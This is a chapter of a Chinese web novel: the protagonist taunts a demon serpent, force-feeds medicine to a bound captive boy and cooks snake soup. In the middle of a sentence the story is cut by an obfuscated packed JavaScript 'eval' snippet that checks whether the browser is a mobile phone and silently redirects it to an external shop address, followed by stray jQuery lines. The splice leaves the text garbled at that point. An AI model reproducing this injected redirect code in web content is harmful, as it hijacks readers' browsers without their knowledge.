19.我就喜欢你无能狂怒的样子

作品:《成为神选者后,靠马甲成神

    这诡异又熟悉的感觉让苏余一个激灵清醒过来,他飞快抽回已经整个探入水潭的手臂,踉跄后退好几步,一屁股瘫坐在水潭边,哪怕此刻头顶上是炎炎的烈日,他的背上却浸出了层层冷汗。


    雾草,这水潭竟然真是那魔蛇老巢的入口?


    一时大意,差点中招啊!


    还好他水性不好,刚刚看水太深就绝了下去洗个澡的念头,不然真就是“送货上门”,还是带包邮的那种!


    心有余悸的苏余连忙点开角色面板瞅了瞅,确定状态栏里依旧是“好运”,并非附带“乌鸦嘴”的“厄运”Buff,这才长长舒了口气:


    “呼——还好,还好,看来只是巧合而已。”


    拖着软绵绵的腿肚子,哆哆嗦嗦从地上爬起来,苏余慌里慌张地跑出去两步,忽的又停了下来。


    回头看看风平浪静的潭水,又抬头瞟了眼天空正中的太阳,心里忽然就不慌了。


    他壮着胆子走回潭边,将刚才慌乱间甩在岸边的蛇肉捡起来,塞进塑料袋里装好,又俯身将菜刀涮洗干净,这才拍了拍手上的水珠,施施然转身往回走。


    差点忘了,现在还是白天,魔蛇出不来,既然如此……


    苏余意识一动,两道微光一闪而过,水潭上便又多了两面光影小旗。


    等他与水潭拉开足够安全的距离,便试探着催动技能,尝试召唤第四面光影小旗。


    下一秒,“嘭!嘭!嘭!”三声巨响接连炸开,刺眼的强光骤然迸发,瞬间照亮了半边天空,连幽蓝潭水的都被这强光渲染得透亮。


    魔蛇愤怒的嘶吼骤然响起,裹挟着滔天戾气响彻天际,连雪山都跟着抖了抖。


    背对着刺目的强光,苏余双手插兜吹着口哨,从容不迫地往回走,那一派云淡风轻的装X模样看起来格外欠扁。


    俗话说得好:君子报仇,十天不晚,所以他明天还敢来!


    方才的动静闹得有点大,森林里的鸟兽被惊得四散奔逃,纷纷向远离中央雪山的方向逃窜,这使得回去的路格外通畅,苏余十分顺利便返回了自己的出租屋。


    一开门,眼前的景象便让他一怔。


    小胖子不知用了什么法子,竟弄开了卫生间的门,此刻正半死不活地趴在卫生间门口的地板上,双目涣散,神志模糊,一副随时都要嗝屁的模样。


    苏余赶紧摸出面具扣上,快步走过去俯身检查。


    藤蔓绳索依旧绑得好好的,只是靠近手腕的地方,有几处明显的磨损痕迹,可能是小胖子发现藤蔓太坚韧,便放弃了磨断绳索自救的办法。


    在看看小胖子,嘴唇惨白如纸,脑袋无力地耷拉着,气息微弱,分明已是出气多进气少的状态了。


    苏余拎着小胖子的后衣领,将人提溜到椅子上坐好,随后立刻走到堆放物资的条桌旁,开始挑选药材。


    干嚼草药野果起效太慢了,而且现在也有了富裕的水源,他打算鼓捣点混合药汁给小胖子续命。


    丹尼尔虚弱地睁开沉重的眼皮,模糊的视线中,一间十分逼仄的单人间映入眼帘。


    墙皮斑驳剥落,家具老旧简陋,处处都透着一股穷酸破败的气息。


    他发现自己坐在一张椅子上,正对面的是房间里唯一的一张桌子,上面摊着些花花绿绿的植物和野果,而那个囚禁他的面具怪人正站在桌前摆弄着瓶瓶罐罐,不过因为是背对着他,看不清具体在做什么。


    丹尼尔想挣扎起身,浑身却酸软无力,连动一下手指的力气都没有。


    他想开口求饶,想许以重金,想表达自己愿意友好交流的心意,可嘴里被塞着抹布,只能发出细若蚊蝇的“呜呜”声。


    像是接受到了他的心意,面具怪人拿着个塑料瓶子走了过来,弯腰点了点丹尼尔的嘴唇,示意他张嘴。


    丹尼尔如蒙大赦,连忙乖乖张嘴,配合着面具怪人将塞在嘴里的抹布取了出来。


    活动了一下发麻的舌头,他有气无力地吐出口气,正打算运用自己的三寸不烂之舌,动之以情、晓之以理,说服眼前这个怪人放了自己的时候,一只有力的大手捏住他的脸颊,紧接着就被塑料瓶口怼进了嘴里。


    散发着恶臭的不明液体顺着瓶口灌进口腔,那味道就像抠脚大汉在四十多度的烈阳下狂奔50公里后,从大毛脚上扒下来的滂臭还包浆了的袜子。


    还没缓过劲来的舌头再次遭遇了无妄之灾,顿时发出强烈的抗议。


    丹尼尔浑身猛然一颤,胃里的酸液汹涌上涌,他张口欲呕,但捏在脸颊上的力道徒然加重,不容抗拒的强迫他抬起头,丹尼尔不得不又把涌到嗓子眼的酸水给咽了回去。


    “不,不要……”


    支离破碎的求饶声淹没在再次涌入的恶臭液体中。又是一大口灌了进去,捏在脸颊上的手指依旧威胁意味十足的使了使劲,仿佛在警告他不许浪费。


    丹尼尔蔚蓝色眼眸中泛起屈辱的泪花,睫毛湿漉漉的挂着泪珠,看起宛若一朵饱受蹂躏的娇花。


    他梗着脖子努力把难以下咽的不明液体咽了下去,然后翻着白眼干呕了好几次,才勉强压下胃里翻涌的恶心感。


    苏余很满意小胖子识时务的表现,确认对方已将药汁全数咽下,不会浪费他的好意后,这才松开小胖子,转身继续去忙活自己的事去了。


    丹尼尔生无可恋地摊软在椅子上,半长的金发乱糟糟地搭在脸上,泪水终于控制不住涌出眼眶,顺着脸颊汩汩流下,一滴滴落在褴褛的衣襟上。


    哦,我的上帝,这里其实是地狱吧!而那个面具人,一定就是撒旦大魔王!求求您降下神罚,劈死这个家伙,将您虔诚的子民救出苦海吧!


    苏余并不在意小胖子的想法,他此时的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282821|197679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心思全在烹饪晚餐上。


    先将洗好的肉块放在不锈钢盆里,焯水捞出,再倒入半盆水,架在卡士炉上慢慢熬煮,等肉汤翻滚了,他拿出珍藏的干脆面调料包,小心翼翼地拆开一包,倒了进去。


    夕阳的余辉透过窗棂洒进来,落在冒着细白热气的汤面上,肉汤的鲜香渐渐漫溢开来,出租屋里顿时响起了此起彼伏的“咕噜噜”声。


    两位饥肠辘辘的难兄难弟心有灵犀地彼此对望一眼,脑回路难得同频了一回,齐刷刷转头,将目光牢牢黏在冒着热气的不锈钢盆上。


    “好香啊!”


    两人的喉结不住地滚动,眼底都是对食物迫不及待地渴望。


    夜幕渐渐笼罩下来,吹过林间的夜风似乎也裹挟上了冰冷的肃杀之意。


    黑魔蛇如期而至,只是今晚的它似乎格外愤怒,连原本那“雨打芭蕉”的轻柔沙沙声,都变得格外响亮。


    漆黑的出租屋内,苏余端着不锈钢盆,小口小口吸溜着加了干脆面调料的蛇羹肉汤,心里那个美啊。


    嘿,你还别说,这“雨打芭蕉”声还挺下饭呢。


    “嗯,香!继续,不要停!我就喜欢看你无能狂怒,可又拿我无可奈何的样子!”


    不过今夜最苦逼的不是无能狂怒的黑魔蛇,而是可怜的小胖子。


    他从头到尾只分到了一小口肉汤,还没尝到味儿就全数下了肚,现在只能可怜兮兮看着苏余吃饭。


    鼻尖萦绕着挥之不去的肉汤香气,耳边不停传来面具大魔王“吸溜吸溜”的喝汤声,丹尼尔只能不住地咂着嘴回味那点转瞬即逝的滋味,反倒觉得比刚才饿肚子的时候更难捱了!


    他在心底疯狂哀嚎:求求你做个人吧!他还是个孩子啊!


    接下来几天,苏余算是跟魔蛇杠上了,只要不是“厄运”buff缠身,那肯定是雷打不动得去山石裂缝接几瓶水回来。


    他每次还特意绕到水潭边,在别人黑魔蛇家门口洗洗果子、洗洗蛇肉、涮涮脚丫子什么的,十分惬意。反正顶着正午的烈阳,只要不掉进水潭深处问题都不大。


    至于潭底偶尔泛起的蜃光,反正他抗性高,权当是给自己刷抗性值了!


    魔蛇被苏余这幅“反正我就在门口蹭蹭不进去,你有本事就出来和我同归于尽啊!”的无耻嘴脸气得怒火中烧,每天晚上缠得都更用力了,有时苏余甚至都能听见魔蛇肌肉用力,鳞片摩擦树皮时发出的“咯吱”声。


    一开始,苏余还有些担心出租屋所在的这颗大树会不会被狂暴的魔蛇给绞断,不过不知道是这古树本身就很坚固,还是被游戏给强化过了,无论魔蛇怎么折腾,古树依旧岿然不动。


    苏余彻底放心下来,不由竖起大拇指,默默给游戏点了个赞。


    小破游戏牛逼!


    我以后再也不偷偷骂你是个垃圾游戏了!